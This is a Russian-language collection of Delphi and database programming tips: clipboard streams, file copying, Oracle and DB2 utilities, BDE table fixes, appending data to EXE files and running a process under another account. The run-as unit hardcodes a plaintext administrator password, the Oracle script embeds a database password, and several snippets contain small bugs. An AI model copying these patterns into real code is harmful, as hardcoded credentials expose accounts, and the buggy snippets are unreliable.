constructor TClipboardStream.Create(fmt : word);
var
tmp : pointer;
FHandle : THandle;
begin
FFormat := fmt;
OpenClipboard(0);
FHandle := GetClipboardData(FFormat);
FSize := GlobalSize(FHandle);
FMemory := AllocMem(FSize);
tmp := GlobalLock(FHandle);
MoveMemory(FMemory, tmp, FSize);
GlobalUnlock(FHandle);
FPosition := 0;
CloseClipboard;
end;

destructor TClipboardStream.Destroy;
begin
FreeMem(FMemory);
end;

function TClipboardStream.Read(var Buffer; Count : longint) : longint;
begin
if FPosition + Count > FSize then
Result := FSize - FPosition
else
Result := Count;
MoveMemory(@Buffer, PChar(FMemory) + FPosition, Result);
Inc(FPosition, Result);
end;

function TClipboardStream.Write(const Buffer; Count : longint) : longint;
var
FHandle : HGlobal;
tmp : pointer;
begin
ReallocMem(FMemory, FPosition + Count);
MoveMemory(PChar(FMemory) + FPosition, @Buffer, Count);
FPosition := FPosition + Count;
FSize := FPosition;
FHandle := GlobalAlloc(GMEM_MOVEABLE or GMEM_SHARE or GMEM_ZEROINIT, FSize);
try
tmp := GlobalLock(FHandle);
try
MoveMemory(tmp, FMemory, FSize);
OpenClipboard(0);
SetClipboardData(FFormat, FHandle);
finally
GlobalUnlock(FHandle);
end;
CloseClipboard;
except
GlobalFree(FHandle);
end;
Result := Count;
end;

function TClipboardStream.Seek(Offset : Longint; Origin : Word) : Longint;
begin
case Origin of
0 : FPosition := Offset;
1 : Inc(FPosition, Offset);
2 : FPosition := FSize + Offset;
end;
Result := FPosition;
end;

end.
К заголовку




" Можно пpимеp получить, как копиpовать файлы?
Можно так:

procedure CopyFile(const FileName, DestName: TFileName);
var
CopyBuffer: Pointer; { buffer for copying }
TimeStamp, BytesCopied: Longint;
Source, Dest: Integer; { handles }
Destination: TFileName; { holder for expanded destination name }
const
ChunkSize: Longint = 8192; { copy in 8K chunks }
begin
Destination := ExpandFileName(DestName); { expand the destination path }
if HasAttr(Destination, faDirectory) then { if destination is a directory...
}
Destination := Destination + '\' + ExtractFileName(FileName); { ...clone
file name }
TimeStamp := FileAge(FileName); { get source's time stamp }
GetMem(CopyBuffer, ChunkSize); { allocate the buffer }
try
Source := FileOpen(FileName, fmShareDenyWrite); { open source file }
if Source < 0 then raise EFOpenError.Create(FmtLoadStr(SFOpenError,
[FileName]));
try
Dest := FileCreate(Destination); { create output file; overwrite existing
}
if Dest < 0 then raise EFCreateError.Create(FmtLoadStr(SFCreateError,
[Destination]));
try
repeat
BytesCopied := FileRead(Source, CopyBuffer^, ChunkSize); { read chunk
}
if BytesCopied > 0 then { if we read anything... }
FileWrite(Dest, CopyBuffer^, BytesCopied); { ...write chunk }
until BytesCopied < ChunkSize; { until we run out of chunks }
finally
FileClose(Dest); { close the destination file }

{ SetFileTimeStamp(Destination, TimeStamp);} { clone source's time stamp
}{!!!}
end;
finally
FileClose(Source); { close the source file }
end;
finally
FreeMem(CopyBuffer, ChunkSize); { free the buffer }
Текст: D:\DELPHI\WORK\ID_LIB.PAS Ст. 0
end;
FileSetDate(Dest,FileGetDate(Source));
end;

ИМХО кpутовато будет такие ф-ии писать когда в большинстве
случаев достаточно что-нть типа нижепpиводимого, пpичем оно даже гибче,
так как позволяет скопиpовать как весь файл пpи From и Count = 0,
так и пpоизвольный его кусок.

function CopyFile( InFile,OutFile: String; From,Count: Longint ): Longint;
var
InFS,OutFS: TFileStream;
begin
InFS := TFileStream.Create( InFile, fmOpenRead );
OutFS := TFileStream.Create( OutFile, fmCreate );
InFS.Seek( From, soFromBeginning );
Result := OutFS.CopyFrom( InFS, Count );
InFS.Free;
OutFS.Free;
end;

try..except pасставляются по вкусу, а навоpоты вpоде установки
атpибутов,даты и вpемени файла и т.п. для ясности удалены, да и не нужны
они в основном никогда.

Конечно, под Win32 имеет смысл использовать функции CopyFile, SHFileOperation.
К заголовку




" Как заставить Oracle анализировать все таблицы базы данных?
Конечно, можно использовать DBMS_SQL, DBMS_JOB...

А можно и так:

#!/bin/sh
#
# Analyze all tables
#

SQLFILE=/tmp/analyze.sql
LOGFILE=/tmp/analyze.log

echo @connect dbo/passwd@ > $SQLFILE

$ORACLE_HOME/bin/svrmgrl <> $SQLFILE
connect dbo/passwd
SELECT 'TABLE', TABLE_NAME FROM all_tables WHERE owner = 'DBO';
EOF

echo exit >> $SQLFILE
cat $SQLFILE > $LOGFILE

cat $SQLFILE | $ORACLE_HOME/bin/svrmgrl >> $LOGFILE

cat $LOGFILE | /usr/bin/mailx -s 'Analyze tables' tlk@nbd.kis.ru

rm $SQLFILE
rm $LOGFILE
К заголовку




" Как программно изменить LangDriver для таблиц dBase и Paradox?
Откpываешь help и смотpишь:

.......
var List:TStrings;
.......
BEGIN
.......
List.Add ( 'LANGDRIVER=db866ru0 ');
.......
Session.ModifyDriver( 'DBASE', List );
.......
END;

Это действие я пpовожy пеpед откpытием таблицы

Ivan Sboev
(2:5049/36.15)

-----------

Это о "русификации" таблицы. В таблицах dBase и Paradox имеется байт, который определяет CodePage содержимого таблицы.
Раньше он не использовался и был зарезервирован. Тебе нужно его правильно установить. Это делается через DBD Restructure table.
Если хочешь программно, можешь воспользоваться следующей процедурой:

uses DbiTypes, DbiProcs, DbiErrs, DB, WinProcs, SysUtils;

procedure ChangeLangDriver( DatabaseName, TableName, LDName: string );
var
TblExt: string;
Database: TDatabase;
TblDesc: CRTblDesc;
OptDesc: FLDDesc;
OptData: array [0..250] of Char;
Cur: hDBICur;
Rec: CFGDesc;
begin
if ( TableName='' ) or ( LDName='' ) then
raise Exception.Create( 'Unknown TableName or LDName' );
Database:=Session.OpenDatabase( DatabaseName );
try
if Database.IsSQLBased then raise Exception.Create( 'Function ChangeLangDriver working only with dBase or Paradox tables' );
FillChar( OptDesc, SizeOf( OptDesc ), #0 );
FillChar( TblDesc, SizeOf( TblDesc ), #0 );
StrCopy( OptDesc.szName, 'LANGDRIVER' );
OptDesc.iLen := Length( LDName ) + 1;
with TblDesc do
begin
StrPCopy( szTblName, TableName );
TblExt := UpperCase( ExtractFileExt( TableName ) );
if TblExt = 'DBF' then StrCopy( szTblType, szDbase )
else if TblExt = '.DB' then StrCopy( szTblType, szParadox )
else
begin
AnsiToOEM( StrPCopy( OptData, DatabaseName ), OptData );
if DbiOpenCfgInfoList( nil, dbiREADONLY, cfgPersistent,
StrPCopy( OptData, '\DATABASES\' + StrPas( OptData ) + '\DB INFO\' ),
Cur ) <> DBIERR_NONE
then
raise Exception.Create( 'Unknown table type');
try
while DbiGetNextRecord( Cur, dbiNOLOCK, @Rec, nil ) <> DBIERR_EOF do
if StrComp( Rec.szNodeName, 'DEFAULT DRIVER' ) = 0 then
begin
StrCopy( szTblType, Rec.szValue );
Break;
end;
finally
Check( DbiCloseCursor( Cur ) );
end;
end;
iOptParams := 1;
pfldOptParams := @OptDesc;
pOptData := @OptData;
end;
StrPCopy( OptData, LDName );
Check( DbiDoRestructure( Database.Handle, 1, @TblDesc, nil,
nil, nil, False ) );
finally
Session.CloseDatabase( Database );
end;
end;

Примеры использования:

ChangeLangDriver( 'DBDEMOS', 'EMPLOYEE', 'ancyrr' );
ChangeLangDriver( 'DBDEMOS', 'EMPLOYEE.DB', 'ancyrr' );
ChangeLangDriver( 'C:\DELPHI\DEMOS\DATA', 'CLIENTS.DBF', 'db866ru0' );

LDName:
для D1 - имя .LD файла в каталоге IDAPI\LANGDRV;
для D2 и CB - из BDECFG32.HLP поле Short name в табличке по указателю language drivers, dBASE или поле
Internal в табличке по указателю language drivers, Paradox;
для D3 и выше - не знаю так как у меня её нет, но думаю, что также, как и в D2.
К заголовку




" Существует ли средство для вывода определения структуры таблицы?
Я создал таблицу и хочу получить её структуру, чтобы сделать изменённый оператор создания таблицы.

Для этого существует утилита DB2LOOK. Она находится в SQLLIB\MISC.

Пример использования:

CONNECT TO SAMPLE USER xxx USING yyy
DB2LOOK -d SAMPLE -u xxx -e -t employee

Вывод может быть перенаправлен в файл.

Полный синтаксис выдаётся по команде:

DB2LOOK ?
К заголовку




" Поясните, чем в Oracle являются понятия Instance, Database etc.?
Перевод документации:

Что такое ORACLE Database?
Это данные которые будут обрабатываться как единое целое. Database состоит из файлов операционной системы.
Физически существуют database files и redo log files. Логически database files содержат словари, таблицы
пользователей и redo log файлы. Дополнительно database требует одну или более копий control file.
Что такое ORACLE Instance?
ORACLE Instance обеспечивает программные механизмы доступа и управления database. Instance может быть запущен
независимо от любой database (без монтирования или открытия любой database). Один instance может открыть
только одну database. В то время как одна database может быть открыта несколькими Instance.

Instance состоит из:
SGA (System Global Area), которая обеспечивает коммуникацию между процессами;
до пяти (в последних версиях больше) бэкграундовых процессов.
От себя добавлю - database включает в себя tablespace, tablespace включает в себя segments (в одном файле данных
может быть один или несколько сегментов, сегменты не могут быть разделены на несколько файлов). segments включают
в себя extents.
К заголовку




" Как засунуть в качестве паpаметpа хpанимой пpоцедуpы стpоку длиной более 255 символов? И вообще, как использовать паpаметpы SP, если они BLOB?
"Засунуть" длинную строку можно было и раньше, если написать редактируемый запрос, и воспользоваться операциями Insert/Edit.

Однако это не относится к хранимым процедурам.

В Delphi 3.0 появился новый тип параметра (TBlobField вроде) и соответственно его поддержка в BDE.

Если просто взять BDE 4.01 и выше, то работать все-равно не будет - нужна соотв. версия VCL (из Delphi 3.0 или выше).

Dmitry Kuzmenko

-------------

Т.е. - переходите на Delphi 3.02 или выше, или используйте альтернативные способы - типа представлений, обновляемых с помощью триггеров.
К заголовку




" Как открыть индексированную таблицу dBase, если отсутствует файл индекса?
Для dBase-таблицы встроенными средствами ты не перестроишь индекс, если его нет. Для этой цели мне пришлось написать процедуру
для физического удаления признака индексации в самом dbf-файле и после её применения добавлять индексы заново.

Для этого в заголовок файла dbf по смещению 28(dec) записываешь 0.

По другому никак не выходит(я долго бился)- вот для Paradox таблиц все Ok.

Олег
oleg@avia.cmw.ru

-----------

С помощью BDE Callbacks. Пpимеp для Delphi 2.0, на пеpвом не пpовеpял:

=== Callback.pas ===
unit Callback;

interface

uses BDE, Classes, Forms, DB, DBTables;

type
TForm1 = class(TForm)
Table1: TTable;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
CBack: TBDECallback; // опpеделение BDE CallBack
CBBuf: CBInputDesc; // пpосто буфеp
function CBFunc(CBInfo: Pointer): CBRType; // Callback-функция
public
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
Session.Open; // В это вpемя сессия ещё не откpыта
CBack := TBDECallback.Create( Session {Hапpимеp}, nil, cbINPUTREQ, @CBRegBuf,
SizeOf(CBBuf), CBFunc, False); // Опpеделили Callback
Table1.Open;
//^^^^^^^^^^^ - здесь возможна ошибка с индексом, etc.
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
CBack.Free; // Освобождаем CallBack
end;

function TForm1.CBFunc(CBInfo: Pointer): CBRType;
begin
with PCBInputDesc(CBInfo)^ do
case eCbInputId of
cbiMDXMissing {, cbiDBTMissing - можно ещё и очищать BLOB-поля}:
begin
iSelection := 3; // Hомеp ваpианта ответа (1-й - откpыть только
// для чтения, 2-й - не откpывать, 3-й - отсоединить индекс).
// Возможный источник непpиятностей: а вдpуг в последующих веpсиях
// BDE номеpа будут дpугими?
Result := cbrCHKINPUT; // Обpабатывать введённый ответ
end;
end;
end;

end.
=== Callback.pas ===

PS: конечно, это лишь пpимеp, делающий минимум необходимого. В pамках данного письма невозможно дать какое-то описание
BDE Callbacks. Инфоpмацию я взял из BDE32.HLP, BDE.INT и DB.PAS. В VCL.HLP совсем ничего нет по этому поводу.

Вообще, pуки бы отоpвал тем, кто писал спpавку по Дельфям: я неделю мучался с сабжем, пока случайно не набpёл на Callbacks.
К заголовку




" Как заставить DBGrid сортировать данные по щелчку на заголовке столбца?
unit vgRXutil;

interface

uses
SysUtils, Classes, DB, DBTables, rxLookup, RxQuery;

{ TrxDBLookup }
procedure RefreshRXLookup(Lookup: TrxLookupControl);
procedure RefreshRXLookupLookupSource(Lookup: TrxLookupControl);

function RxLookupValueInteger(Lookup: TrxLookupControl): Integer;

{ TRxQuery }

{ Applicatable to SQL's without SELECT * syntax }

{ Inserts FieldName into first position in '%Order' macro and refreshes query }
procedure HandleOrderMacro(Query: TRxQuery; Field: TField);

{ Sets '%Order' macro, if defined, and refreshes query }
procedure InsertOrderBy(Query: TRxQuery; NewOrder: String);

{ Converts list of order fields if defined and refreshes query }
procedure UpdateOrderFields(Query: TQuery; OrderFields: TStrings);

implementation
uses
vgUtils, vgDBUtl, vgBDEUtl;

{ TrxDBLookup refresh }

type
TRXLookupControlHack = class(TrxLookupControl)
property DataSource;
property LookupSource;
property Value;
property EmptyValue;
end;

procedure RefreshRXLookup(Lookup: TrxLookupControl);
var
SaveField: String;
begin
with TRXLookupControlHack(Lookup) do
begin
SaveField := DataField;
DataField := '';
DataField := SaveField;
end;
end;

procedure RefreshRXLookupLookupSource(Lookup: TrxLookupControl);
var
SaveField: String;
begin
with TRXLookupControlHack(Lookup) do
begin
SaveField := LookupDisplay;
LookupDisplay := '';
LookupDisplay := SaveField;
end;
end;

function RxLookupValueInteger(Lookup: TrxLookupControl): Integer;
begin
with TRXLookupControlHack(Lookup) do
try
if Value <> EmptyValue then
Result := StrToInt(Value) else
Result := 0;
except
Result := 0;
end;
end;

procedure InsertOrderBy(Query: TRxQuery; NewOrder: String);
var
Param: TParam;
OldActive: Boolean;
OldOrder: String;
Bmk: TPKBookMark;
begin
Param := FindParam(Query.Macros, 'Order');
if not Assigned(Param) then Exit;

OldOrder := Param.AsString;

if OldOrder <> NewOrder then
begin
OldActive := Query.Active;
if OldActive then Bmk := GetPKBookmark(Query, '');
try
Query.Close;
Param.AsString := NewOrder;
try
Query.Prepare;
except
Param.AsString := OldOrder;
end;
Query.Active := OldActive;
if OldActive then SetToPKBookMark(Query, Bmk);
finally
if OldActive then FreePKBookmark(Bmk);
end;
end;
end;

procedure UpdateOrderFields(Query: TQuery; OrderFields: TStrings);
var
NewOrderFields: TStrings;

procedure AddOrderField(S: String);
begin
if NewOrderFields.IndexOf(S) < 0 then
NewOrderFields.Add(S);
end;

var
I, J: Integer;
Field: TField;
FieldDef: TFieldDef;
S: String;
begin
NewOrderFields := TStringList.Create;
with Query do
try
for I := 0 to OrderFields.Count - 1 do
begin
S := OrderFields[I];
Field := FindField(S);
if Assigned(Field) and (Field.FieldNo > 0) then
AddOrderField(IntToStr(Field.FieldNo))
else
try
J := StrToInt(S);
if J < FieldDefs.Count then
AddOrderField(IntToStr(J));
except
end;
end;
OrderFields.Assign(NewOrderFields);
finally
NewOrderFields.Free;
end;
end;

procedure HandleOrderMacro(Query: TRxQuery; Field: TField);
var
Param: TParam;
Tmp, OldOrder, NewOrder: String;
I: Integer;
C: Char;
TmpField: TField;
OrderFields: TStrings;
begin
Param := FindParam(Query.Macros, 'Order');
if not Assigned(Param) or Field.Calculated or Field.Lookup then Exit;
OldOrder := Param.AsString;
I := 0;
Tmp := '';
OrderFields := TStringList.Create;
try
OrderFields.Add(Field.FieldName);
while I < Length(OldOrder) do
begin
Inc(I);
C := OldOrder[I];
if C in FieldNameChars then
Tmp := Tmp + C;

if (not (C in FieldNameChars) or (I = Length(OldOrder))) and (Tmp <> '') then
begin
TmpField := Field.DataSet.FindField(Tmp);
if OrderFields.IndexOf(Tmp) < 0 then
OrderFields.Add(Tmp);
Tmp := '';
end;
end;

UpdateOrderFields(Query, OrderFields);
NewOrder := OrderFields[0];
for I := 1 to OrderFields.Count - 1 do
NewOrder := NewOrder + ', ' + OrderFields[1];
finally
OrderFields.Free;
end;
InsertOrderBy(Query, NewOrder);
end;

end.
К заголовку




" Добавить данные в EXE файл и получить их
function AttachToFile(const AFileName: string; MemoryStream: TMemoryStream): Boolean;
var
  aStream: TFileStream;
  iSize: Integer;
begin
  Result := False;
  if not FileExists(AFileName) then
    Exit;
  try
    aStream := TFileStream.Create(AFileName, fmOpenWrite or fmShareDenyWrite);
    MemoryStream.Seek(0, soFromBeginning);
    // seek to end of File
    // ans Ende der Datei Seeken
    aStream.Seek(0, soFromEnd);
    // copy data from MemoryStream
    // Daten vom MemoryStream kopieren
    aStream.CopyFrom(MemoryStream, 0);
    // save Stream-Size
    // die Streamgro?e speichern
    iSize := MemoryStream.Size + SizeOf(Integer);
    aStream.Write(iSize, SizeOf(iSize));
  finally
    aStream.Free;
  end;
  Result := True;
end;

function LoadFromFile(const AFileName: string; MemoryStream: TMemoryStream): Boolean;
var
  aStream: TFileStream;
  iSize: Integer;
begin
  Result := False;
  if not FileExists(AFileName) then
    Exit;

  try
    aStream := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite);
    // seek to position where Stream-Size is saved
    // zur Position seeken wo Streamgro?e gespeichert
    aStream.Seek(-SizeOf(Integer), soFromEnd);
    aStream.Read(iSize, SizeOf(iSize));
    if iSize > aStream.Size then
    begin
      aStream.Free;
      Exit;
    end;
    // seek to position where data is saved
    // zur Position seeken an der die Daten abgelegt sind
    aStream.Seek(-iSize, soFromEnd);
    MemoryStream.SetSize(iSize - SizeOf(Integer));
    MemoryStream.CopyFrom(aStream, iSize - SizeOf(iSize));
    MemoryStream.Seek(0, soFromBeginning);
  finally
    aStream.Free;
  end;
  Result := True;
end;

procedure TForm1.SaveClick(Sender: TObject);
var
  aStream: TMemoryStream;
begin
  aStream := TMemoryStream.Create;
  Memo1.Lines.SaveToStream(aStream);
  AttachToFile('Test.exe', aStream);
  aStream.Free;
end;

procedure TForm1.LoadClick(Sender: TObject);
var
  aStream: TMemoryStream;
begin
  aStream := TMemoryStream.Create;
  LoadFromFile('Test.exe', aStream);
  Memo1.Lines.LoadFromStream(aStream);
  aStream.Free;
end;

{

Note:

You can't proof whether additional data is attached or not.
To reach this, you would have to create a checksumm of the
MemoryStream and attach it.

}
К заголовку




" Запустить на выполнение файл от имени любого пользователя
unit HSAdvApi;

interface

uses
  Windows;
procedure MyCreateProcess(ConstCommandLine: string);
function CreateProcessWithLogonW(const lpUsername: PWideChar;
  const lpDomain: PWideChar; const lpPassword: PWideChar;
  dwLogonFlags: DWORD; const lpApplicationName: PWideChar;
  lpCommandLine: PWideChar; dwCreationFlags: DWORD;
  lpEnvironment: Pointer; const lpCurrentDirectory: PWideChar;
  lpStartupInfo: PStartupInfo;
  lpProcessInfo: PProcessInformation): Boolean; stdcall;

const
  LOGON_WITH_PROFILE = $00000001;
  LOGON_NETCREDENTIALS_ONLY = $00000002;
  LOGON_ZERO_PASSWORD_BUFFER = $80000000;

implementation
uses
  SysUtils;
{$WARN SYMBOL_DEPRECATED OFF}
{ ADVAPI32.DLL functions }
type
  TCreateProcessWithLogonW =
    function(const lpUsername: PWideChar;
    const lpDomain: PWideChar; const lpPassword: PWideChar;
    dwLogonFlags: DWORD; const lpApplicationName: PWideChar;
    lpCommandLine: PWideChar; dwCreationFlags: DWORD;
    lpEnvironment: Pointer; const lpCurrentDirectory: PWideChar;
    lpStartupInfo: PStartupInfo;
    lpProcessInfo: PProcessInformation): Boolean; stdcall;

const
  DllName = 'advapi32.dll';

var
  DllHandle: THandle;
  _CreateProcessWithLogonW: TCreateProcessWithLogonW;

function InitLib: Boolean;
begin
  if DllHandle = 0 then
    if Win32Platform = VER_PLATFORM_WIN32_NT then
    begin
      DllHandle := LoadLibrary(DllName);
      if DllHandle <> 0 then
      begin
        @_CreateProcessWithLogonW := GetProcAddress(DllHandle,
          'CreateProcessWithLogonW');
      end;
    end;
  Result := (DllHandle <> 0);
end;

function NotImplementedBool: Boolean;
begin
  SetLastError(ERROR_CALL_NOT_IMPLEMENTED);
  Result := false;
end;

function CreateProcessWithLogonW(const lpUsername: PWideChar;
  const lpDomain: PWideChar; const lpPassword: PWideChar;
  dwLogonFlags: DWORD; const lpApplicationName: PWideChar;
  lpCommandLine: PWideChar; dwCreationFlags: DWORD;
  lpEnvironment: Pointer; const lpCurrentDirectory: PWideChar;
  lpStartupInfo: PStartupInfo;
  lpProcessInfo: PProcessInformation): Boolean; stdcall;
begin
  if InitLib and Assigned(_CreateProcessWithLogonW) then
    Result := _CreateProcessWithLogonW(lpUsername, lpDomain, lpPassword,
      dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags,
      lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInfo)
  else
    Result := NotImplementedBool;
end;

procedure MyCreateProcess(ConstCommandLine: string);
const
  UserName: WideString = 'ADMIN';
  Password: WideString = 'creyc';
  //ConstCommandLine : String = 'MONIC_S.EXE ';
  Title: WideString = 'SERVISE';
  Domain: WideString = 'SOKAL';
var
  MyStartupInfo: STARTUPINFO;
  ProcessInfo: PROCESS_INFORMATION;
  CommandLine: array[0..512] of WideChar;
begin
  FillChar(MyStartupInfo, SizeOf(MyStartupInfo), 0);
  MyStartupInfo.cb := SizeOf(MyStartupInfo);
  StringToWideChar(ConstCommandLine, CommandLine,
    Sizeof(CommandLine) div SizeOf(WideChar));
  MyStartupInfo.lpTitle := PWideChar(Title);
  if not CreateProcessWithLogonW(PWideChar(UserName), PWideChar(Domain),
    PWideChar(Password), LOGON_WITH_PROFILE, nil,
    CommandLine, 0, nil, nil, @MyStartupInfo, @ProcessInfo) then
    RaiseLastWin32Error()
  else
  begin
    CloseHandle(ProcessInfo.hProcess);
    CloseHandle(ProcessInfo.hThread);
  end;
end;

initialization
finalization
  if DllHandle <> 0 then
    FreeLibrary(DllHandle);
end.
К заголовку




" Извлечение из EXE-файла иконки и рисование ее в TImage
Сперва для получения дескриптора иконки используйте вызов API ExtractIcon, затем назначьте (assign) ее TImage.

Далее смотри электронную документацию.
-----------------------------------------

uses ShellApi;

procedure TForm1.Button1Click(Sender: TObject);
var
  IconIndex: word;
  h: hIcon;
begin
  IconIndex := 0;
  h := ExtractAssociatedIcon(hInstance,
    'C:\WINDOWS\NOTEPAD.EXE', IconINdex);

  DrawIcon(Form1.Canvas.Handle, 10, 10, h);
end;
К заголовку




" Интегрирование в EXE-шник других файлов
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Интегрирование в EXE-шник других файлов

Процедура из указанного файла (FileName) создаёт unit в котором объявлен,
заполненный побайтово, массив и процедура сохранения этого массива обратно
в файл. Таким образом можно включить в один EXE-шник множество других
файлов (dll, ocx, dbf и т.п.) - прикрепить их как unit-ы. Фактически,
после сжатия EXE-шника программами типа UPX, получаем довольно компактный
файл, который можно использовать в качестве дистрибутива, например.

Зависимости: SysUtils, System
Автор:       Delirium
Copyright:   Delirium (Master BRAIN)
Дата:        22 мая 2002 г.
***************************************************** }

procedure FileToPas(FileName: string);
var
  BF: file of Byte;
  F: TextFile;
  P, N, S: string;
  BFSize: integer;
  BBB: Byte;
begin
  AssignFile(BF, FileName);
  Reset(BF);
  BFSize := FileSize(BF);
  P := ExtractFilePath(FileName);
  N := ExtractFileName(FileName);
  N := ChangeFileExt(N, '.PAS');
  AssignFile(F, N);
  ReWrite(F);
  Writeln(F, '(* Generated by Master BRAIN (C) 2002 *)');
  Writeln(F, 'unit ' + ChangeFileExt(N, '') + ';');
  Writeln(F);
  Writeln(F, 'interface');
  Writeln(F);
  Writeln(F, 'const FileSize:integer=' + IntToStr(BFSize) + ';');
  Writeln(F, 'FileData:array[0..' + IntToStr(BFSize - 1) + '] of Byte=');
  Writeln(F, '(');
  while not Eof(BF) do
  begin
    S := '';
    while (not Eof(BF)) and (Length(S) < 80) do
    begin
      Read(BF, BBB);
      S := S + IntToStr(BBB) + ',';
    end;
    if Eof(BF) then
      Delete(S, Length(S), 1);
    Writeln(F, S);
  end;
  CloseFile(BF);
  Writeln(F, ');');
  Writeln(F);
  Writeln(F, 'procedure SaveToFile(FileName:String);');
  Writeln(F);
  Writeln(F, 'implementation');
  Writeln(F);
  Writeln(F, 'procedure SaveToFile(FileName:String);');
  Writeln(F, 'var F:File of Byte;');
  Writeln(F, ' i:integer;');
  Writeln(F, 'begin');
  Writeln(F, 'AssignFile(F,FileName);');
  Writeln(F, 'ReWrite(F);');
  Writeln(F, 'for i:=0 to FileSize-1 do Write(F,FileData[i]);');
  Writeln(F, 'CloseFile(F);');
  Writeln(F, 'end;');
  Writeln(F);
  Writeln(F, 'end.');
  CloseFile(F);
end;
К заголовку




" Информация о версии (Version Info) в Delphi EXE
unit rpVersionInfo; //версия 1.0 3/8/98 записана и проверена в Delphi 3.
(*Автор Rick Peterson, данный компонент распространяется свободно

и освобожден от платы за использование. В случае изменения
авторского кода просьба прислать измененный код. Сообщайте пожалуйста
обо всех найденных ошибках. Адрес для писем - rickpet@airmail.net. *)

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  TypInfo;

type
{$M+}
  (* Видели директиву $M+??? Это заставляет Delphi включать в код RTTI-информацию для

  перечислимых типов. В основном допускает работу с перечислимыми типами как
  со строками с помощью GetEnumName *)
  TVersionType = (vtCompanyName, vtFileDescription, vtFileVersion,
    vtInternalName,
    vtLegalCopyright, vtLegalTradeMark, vtOriginalFileName,
    vtProductName, vtProductVersion, vtComments);
{$M-}

  TrpVersionInfo = class(TComponent)
    (* Данный компонент позволяет получать информацию о версии вашего приложения

    во время его выполенния *)
  private
    FVersionInfo: array[0..ord(high(TVersionType))] of string;
  protected
    function GetCompanyName: string;
    function GetFileDescription: string;
    function GetFileVersion: string;
    function GetInternalName: string;
    function GetLegalCopyright: string;
    function GetLegalTradeMark: string;
    function GetOriginalFileName: string;
    function GetProductName: string;
    function GetProductVersion: string;
    function GetComments: string;
    function GetVersionInfo(VersionType: TVersionType): string; virtual;
    procedure SetVersionInfo; virtual;
  public
    constructor Create(AOwner: TComponent); override;
  published
    (* Использовать это очень просто - Label1.Caption := VersionInfo1.FileVersion

    Примечание: Все свойства - только для чтения, поэтому они недоступны в
    Инспекторе Объектов *)
    property CompanyName: string read GetCompanyName;
    property FileDescription: string read GetFileDescription;
    property FileVersion: string read GetFileVersion;
    property InternalName: string read GetInternalName;
    property LegalCopyright: string read GetLegalCopyright;
    property LegalTradeMark: string read GetLegalTradeMark;
    property OriginalFileName: string read GetOriginalFileName;
    property ProductName: string read GetProductName;
    property ProductVersion: string read GetProductVersion;
    property Comments: string read GetComments;
  end;

procedure Register;

implementation

constructor TrpVersionInfo.Create(AOwner: TComponent);
begin

  inherited Create(AOwner);
  SetVersionInfo;
end;

function TrpVersionInfo.GetCompanyName: string;
begin

  result := GeTVersionInfo(vtCompanyName);
end;

function TrpVersionInfo.GetFileDescription: string;
begin

  result := GeTVersionInfo(vtFileDescription);
end;

function TrpVersionInfo.GetFileVersion: string;
begin

  result := GeTVersionInfo(vtFileVersion);
end;

function TrpVersionInfo.GetInternalName: string;
begin

  result := GeTVersionInfo(vtInternalName);
end;

function TrpVersionInfo.GetLegalCopyright: string;
begin

  result := GeTVersionInfo(vtLegalCopyright);
end;

function TrpVersionInfo.GetLegalTradeMark: string;
begin

  result := GeTVersionInfo(vtLegalTradeMark);
end;

function TrpVersionInfo.GetOriginalFileName: string;
begin
  result := GeTVersionInfo(vtOriginalFileName);
end;

function TrpVersionInfo.GetProductName: string;
begin
  result := GeTVersionInfo(vtProductName);
end;

function TrpVersionInfo.GetProductVersion: string;
begin
  result := GeTVersionInfo(vtProductVersion);
end;

function TrpVersionInfo.GetComments: string;
begin
  result := GeTVersionInfo(vtComments);
end;

function TrpVersionInfo.GeTVersionInfo(VersionType: TVersionType): string;
begin
  result := FVersionInfo[ord(VersionType)];
end;

procedure TrpVersionInfo.SeTVersionInfo;
var
  sAppName, sVersionType: string;
  iAppSize, iLenOfValue, i: integer;
  pcBuf, pcValue: PChar;
begin
  sAppName := Application.ExeName;
  iAppSize := GetFileVersionInfoSize(PChar(sAppName), iAppSize);
  if iAppSize > 0 then
  begin
    pcBuf := AllocMem(iAppSize);
    GetFileVersionInfo(PChar(sAppName), 0, iAppSize, pcBuf);
    for i := 0 to Ord(High(TVersionType)) do
    begin
      sVersionType := GetEnumName(TypeInfo(TVersionType), i);
      sVersionType := Copy(sVersionType, 3, length(sVersionType));
      if VerQueryValue(pcBuf, PChar('StringFileInfo\040904E4\' +
        sVersionType), Pointer(pcValue), iLenOfValue) then
        FVersionInfo[i] := pcValue;
    end;
    FreeMem(pcBuf, iAppSize);
  end;
end;

procedure Register;
begin
  RegisterComponents('FreeWare', [TrpVersionInfo]);
end;

end.
К заголовку




" Как вызвать процедуру из чужого ЕХЕ файла
Проблема такая : на сервере стоит ЕХЕ-файл, написан на FoxPro. И как класс зарегистрирован в системном реестре.
Есть описание его процедур ( название, параметры). Существует ли возможность на Delphi обратиться к процедурам и заставить их сработать.

Видимо речь идет о сервере OLE, написанном на FoxPro (первый раз про такое слышу). Если так, то используй его как обычный OLE-сервер:

Var
  vMyServer : OLEVariant;
Begin
  vMyServer := CreateOLEObject("имя CLSID");
  vMyServer.Имя_метода(...);
  ...
  vMyServer := Null;
End;

К заголовку




" Как использовать параметры коммандной строки
Paramcount - показывает сколько параметров передано
Paramstr(0) - это имя с путем твоей программы
Paramstr(1) - имя первого параметра
Paramstr(2) - имя второго параметра и т.д.

Если ты запускаешь:
с:\myprog.exe /a -b22 c:\dev
то Paramcount будет равен 3
Paramstr(0) будет равен с:\myprog.exe
Paramstr(1) будет равен /a
Paramstr(2) будет равен -b22
Paramstr(3) будет равен c:\dev

Параметер это просто строка, набор букв, выполнить ее нельзя - ты можешь только проверить на наличие строки и если она
присутствует, то выполнить какое либо действие, это действие ты должен написать сам, никаких стандартных действий нет.

Например у тебя возможно 3 параметра:

Если параметер = "/v" то выдать сообщение, если параметер "/c" то покрасить форму в синий цвет, если параметер "/f" -
поменять заголовок формы:

if paramstr(1) = '/v' then
  showmessage('Parameter "/v" was found!');

if paramstr(1) = '/c' then
  color := clBlue;

